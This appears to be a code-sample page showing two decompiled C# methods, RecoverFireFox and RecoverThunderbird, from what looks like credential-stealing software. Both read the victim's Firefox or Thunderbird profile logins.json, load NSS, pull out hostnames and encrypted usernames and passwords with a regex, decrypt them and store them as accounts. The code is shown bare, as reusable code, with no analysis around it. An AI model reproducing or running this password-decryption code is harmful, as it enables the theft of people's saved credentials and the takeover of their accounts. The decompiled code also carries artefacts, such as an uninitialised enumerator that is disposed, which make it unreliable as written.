Ejemplo n.º 1
0
        // Token: 0x06000044 RID: 68 RVA: 0x000034D4 File Offset: 0x000016D4
        public bool RecoverFireFox()
        {
            bool result = false;

            checked
            {
                try
                {
                    string appDataDir = Interaction.Environ("windir").ToLower().Replace("\\windows", null) + "\\users\\" + Interaction.Environ("username") + "\\AppData";
                    string text       = this.FindFirefoxProfilePath(appDataDir).Replace("Profiles/", "Profiles\\");
                    if (Directory.Exists(text))
                    {
                        string input = File.ReadAllText(text + "\\logins.json");
                        this.NSS_Init(text + "\\");
                        Regex           regex           = new Regex("\\\"(hostname|encryptedPassword|encryptedUsername)\":\"(.*?)\"");
                        MatchCollection matchCollection = regex.Matches(input);
                        int             num             = 0;
                        int             num2            = matchCollection.Count - 1;
                        int             num3            = num;
                        for (;;)
                        {
                            int num4 = num3;
                            int num5 = num2;
                            if (num4 > num5)
                            {
                                break;
                            }
                            string  value  = matchCollection[num3].Groups[2].Value;
                            string  value2 = matchCollection[num3 + 1].Groups[2].Value;
                            string  value3 = matchCollection[num3 + 2].Groups[2].Value;
                            Account item   = new Account(AccountType.Firefox, Conversions.ToString(this.DecryptFF(value2)), Conversions.ToString(this.DecryptFF(value3)), value);
                            this.Accounts.Add(item);
                            num3 += 3;
                        }
                        this.NSS_Shutdown();
                        try
                        {
                            foreach (IntPtr hModule in this.hModuleList)
                            {
                                PREC.FreeLibrary(hModule);
                            }
                        }
                        finally
                        {
                            List <IntPtr> .Enumerator enumerator;
                            ((IDisposable)enumerator).Dispose();
                        }
                        result = true;
                    }
                }
                catch (Exception ex)
                {
                    result = false;
                }
                return(result);
            }
        }
Ejemplo n.º 2
0
        // Token: 0x06000046 RID: 70 RVA: 0x0000371C File Offset: 0x0000191C
        public bool RecoverThunderbird()
        {
            bool   result = false;
            IntPtr ptr    = 0;

            PREC.Wow64DisableWow64FsRedirection(ref ptr);
            checked
            {
                try
                {
                    foreach (string appDataDir in this.GetAppDataFolders())
                    {
                        string text = this.FindThunderbirdProfilePath(appDataDir);
                        if (Directory.Exists(text))
                        {
                            string input = File.ReadAllText(text + "\\logins.json");
                            this.NSS_Init(text + "\\");
                            Regex           regex           = new Regex("\\\"(hostname|encryptedPassword|encryptedUsername)\":\"(.*?)\"");
                            MatchCollection matchCollection = regex.Matches(input);
                            int             num             = 0;
                            int             num2            = matchCollection.Count - 1;
                            int             num3            = num;
                            for (;;)
                            {
                                int num4 = num3;
                                int num5 = num2;
                                if (num4 > num5)
                                {
                                    break;
                                }
                                string  value  = matchCollection[num3].Groups[2].Value;
                                string  value2 = matchCollection[num3 + 1].Groups[2].Value;
                                string  value3 = matchCollection[num3 + 2].Groups[2].Value;
                                Account item   = new Account(AccountType.Thunderbird, Conversions.ToString(this.DecryptFF(value2)), Conversions.ToString(this.DecryptFF(value3)), value);
                                this.Accounts.Add(item);
                                num3 += 3;
                            }
                            this.NSS_Shutdown();
                            try
                            {
                                foreach (IntPtr hModule in this.hModuleList)
                                {
                                    PREC.FreeLibrary(hModule);
                                }
                            }
                            finally
                            {
                                List <IntPtr> .Enumerator enumerator;
                                ((IDisposable)enumerator).Dispose();
                            }
                        }
                    }
                    result = true;
                }
                catch (Exception ex)
                {
                    result = false;
                }
                PREC.Wow64RevertWow64FsRedirection(ptr);
                return(result);
            }
        }